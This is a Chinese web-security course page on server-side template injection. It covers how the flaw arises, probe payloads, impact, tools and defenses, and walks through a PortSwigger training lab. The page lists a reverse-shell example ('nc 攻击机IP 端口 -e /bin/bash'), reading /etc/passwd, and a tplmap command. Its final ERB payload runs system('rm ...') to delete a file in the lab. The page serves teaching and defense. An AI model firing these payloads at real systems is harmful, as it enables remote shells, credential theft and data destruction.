WEB安全
00-HTTP协议
01-前端基础【HTML】
02-前端基础【CSS】
03-后端基础【PHP速通】
04-后端基础【PHP面向对象】
05-MySQL基础操作
06-前后端联动【代码练习】
07-SQL注入
08-SQL注入 Labs
09-跨站脚本攻击【XSS】
09-XSS Labs
10-CSRF
11-SSRF
12-XML 外部实体注入【XXE】
13-代码执行漏洞
14-命令执行漏洞
15-文件包含漏洞
16-文件上传漏洞
17-反序列化漏洞
18-业务逻辑漏洞
19-未授权访问漏洞集合
20-跨源资源共享【CORS】
21-SSTI模板注入
22-并发漏洞
23-点击劫持【Clickjacking 】
24-请求走私
25-路径遍历
26-访问控制
27-身份验证漏洞
28-WebSocket
29-Web缓存中毒
30-HTTP 主机头攻击
31-信息泄露漏洞
32-原型污染
33-API概述
34-API分类类型
35-API交换格式
36-API身份验证
37-API常见漏洞
38-crAPI靶场
39-JWT
40-DVGA靶场
41-服务器端参数污染
42-API Labs
43-OAuth Labs
44-GraphQL API Labs
45-JWT Labs
46-小程序抓包
47-云存储
48-对象存储OSS
49-存储桶
50-存储桶漏洞
51-STS访问OSS
-
+
21-SSTI模板注入
浏览
1
## 概述 SSTI(Server-Side Template Injection,服务器端模板注入)是一种发生在应用层的代码注入攻击。当攻击者能够将恶意代码注入到模板中,并且该模板在服务器端被解析执行时,就会发生这种漏洞。 其核心是攻击者通过输入恶意内容,被服务器端模板引擎解析并执行,最终导致服务器端代码执行。该漏洞的危害远高于客户端漏洞(如 XSS),可直接控制服务器、窃取敏感数据或横向渗透内网。 ## 模板引擎 Web 开发中,为了实现 “数据与视图分离”(如动态生成页面、邮件内容、报告),开发者会使用模板引擎(如 Jinja2、Freemarker、Twig)。 模板引擎通过 “模板语法” 将动态数据(如用户信息、订单数据)嵌入静态模板中,最终渲染成 HTML、文本等输出。 例如:Python 的 Jinja2 模板中,Hello {{ username }} 会将username变量的值替换,渲染为Hello Alice(若username=Alice)。 SSTI 的根源:若开发者将用户可控的输入直接作为模板内容(而非模板变量)传入模板引擎,模板引擎会将用户输入的 “恶意模板语法” 当作合法代码解析执行,从而引发漏洞。 ## 原理 SSTI 的本质是 “模板引擎对用户输入的过度信任”,具体流程如下: **1. 开发者违规使用模板引擎** 未区分 “模板变量” 和 “模板内容”,将用户输入(如 URL 参数、表单值)直接拼接进模板中,而非作为变量传递。 例如:Python中的Jinja2模板。 ```python # 错误:用户输入直接作为模板内容 template = f"Hello {user_input}" # user_input由用户控制 rendered = Jinja2 Environment().from_string(template).render() ``` 若用户输入{{ 7*7 }},模板会解析为Hello 49(执行了数学运算);若输入恶意代码,则会执行更危险的操作。 **2. 攻击者构造恶意输入** 利用模板引擎的语法特性(如变量引用、函数调用、循环控制),注入可执行代码(如系统命令、文件读写)。 **3. 服务器执行恶意代码** 模板引擎解析并执行恶意输入,攻击者获取服务器控制权(如读/etc/passwd、反弹 Shell)。 ## 常见模板引擎与注入特征 不同语言的模板引擎语法差异较大,其 SSTI 的测试 payload 和利用方式也不同。 | 语言 | 常见模板引擎 | 变量引用语法 | 测试 Payload(判断是否存在 SSTI) | | ------ | ----------------------- | ------------------------ | --------------------------------- | | Python | Jinja2、Django Template | {{ 变量 }} | {{ 2+2 }}(若返回 4 则可能存在) | | Java | Freemarker、Velocity | ${ 变量 } / #{} | ${ 2*2 }(返回 4 则可能存在) | | PHP | Twig、Smarty | {{ 变量 }} / {$ 变量 } | {{ 1+1 }}(返回 2 则可能存在) | | JS | Handlebars、EJS | {{ 变量 }} / <%= 变量 %> | {{ 3*3 }}(返回 9 则可能存在) | **关键判断标准**:输入的 “表达式”(如2+2)是否被服务器计算并返回结果,而非原样输出。 ## 漏洞危害 SSTI 的危害程度取决于模板引擎的权限和攻击者的利用能力,核心危害包括: **1. 服务器端代码执行** 攻击者可执行系统命令(如ls、cat /etc/passwd、nc 攻击机IP 端口 -e /bin/bash反弹 Shell),直接控制服务器。 **2. 敏感信息泄露** 读取服务器配置文件(如/etc/passwd、C:\Windows\system32\drivers\etc\hosts)、数据库密码、API 密钥等。 **3. 权限提升** 若模板引擎以高权限(如root、Administrator)运行,攻击者可直接获取服务器最高权限,甚至篡改系统文件。 **4. 横向渗透** 控制目标服务器后,可进一步扫描内网其他设备,发起内网攻击(如攻击数据库服务器、文件服务器)。 ## 检测方法 检测 SSTI 的核心是 “验证用户输入是否被模板引擎解析”,常见方法如下: **1. 手工测试** 通过输入 “无害的表达式” 判断模板是否解析输入: - 输入数学运算:如{{ 100*2 }}、${ 5+5 },若返回200、10,说明输入被解析,可能存在 SSTI。 - 输入模板语法特征:如{{ config }}(Jinja2,查看配置信息)、${class.getClassLoader()}(Freemarker,查看类信息),若返回非预期内容(如配置详情、类路径),则漏洞确认。 **2. 工具辅助** - **Tplmap**:专门用于检测和利用 SSTI 的工具,支持多种模板引擎(Jinja2、Freemarker、Twig 等),可自动生成 payload 并执行命令。 示例命令:python tplmap.py -u "`http://target.com/?username=`*"(*为测试注入点)。 - **Burp Suite**:通过 “Intruder” 模块批量发送测试 payload,或安装插件(如SSTI Scanner)辅助检测。 - **PayloadAllTheThings**:参考开源 Payload 库([PayloadsAllTheThings/SSTI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection)),获取对应模板引擎的测试 payload。 ## 防护措施 SSTI 的防御核心是 “切断用户输入与模板引擎解析的直接关联”。 **1. 严格区分模板内容与模板变量** 永远不要将用户输入作为模板内容传入模板引擎,仅允许用户输入作为 “模板变量” 传递。 **2. 禁用模板引擎的危险功能** 不同模板引擎提供了 “安全模式” 或 “功能禁用” 选项,需关闭危险功能: - Jinja2:禁用eval、exec等函数,通过Environment(trim_blocks=True, lstrip_blocks=True, autoescape=True)启用自动转义,并限制全局变量(如移除os、sys模块)。 - Freemarker:启用auto-escape(自动转义),禁用#include、#import等模板引入语法,限制new关键字(防止实例化危险类)。 - Twig:使用Twig_Sandbox_SecurityPolicy限制允许的函数、过滤器和标签,禁用_self、_context等敏感变量。 **3. 输入验证与转义** - 对用户输入进行严格的格式验证(如仅允许字母、数字、下划线),拒绝包含模板语法特征的输入(如{{、}}、${、})。 - 启用模板引擎的自动转义功能(Auto-Escape),将用户输入中的特殊字符(如<、>、{{)转义为普通文本(如<、>、{{原样输出),避免被解析为模板语法。 **4. 最小权限原则** 运行模板引擎的进程应使用低权限账户(如www-data、apache),而非root或Administrator。即使漏洞被利用,攻击者也无法直接获取最高权限,限制危害范围。 ## 实验 靶机地址:https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic 已知:由于 ERB 模板的构造不安全,该靶机容易受到服务器端模板注入的攻击。 任务:看 ERB 文档以了解如何执行任意代码,然后morale.txt从 Carlos 的主目录中删除该文件。 1、进入靶机,查看第一个商品的详情,返回的响应是缺货,观察URL。  ```txt https://0a1a00120351738f82a44c1a00ae00dd.web-security-academy.net/?message=Unfortunately%20this%20product%20is%20out%20of%20stock ``` 主页上的字符与get的message传参值相同。 2、给message传参其他值呢?  3、在 ERB 文档中,发现该语法<%= someExpression %>用于评估表达式并在页面上呈现结果。 使用 ERB 模板语法创建包含数学运算的测试有效负载,例如:<%= 7*7 %>  运算成功。 4、从 Ruby 文档中发现system()方法,可用于执行任意操作系统命令。 故构造删除morale.txt文件的payload。 ```txt <%= system("rm /home/carlos/morale.txt") %> ``` 
毛林
2026年11月15日 18:27
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~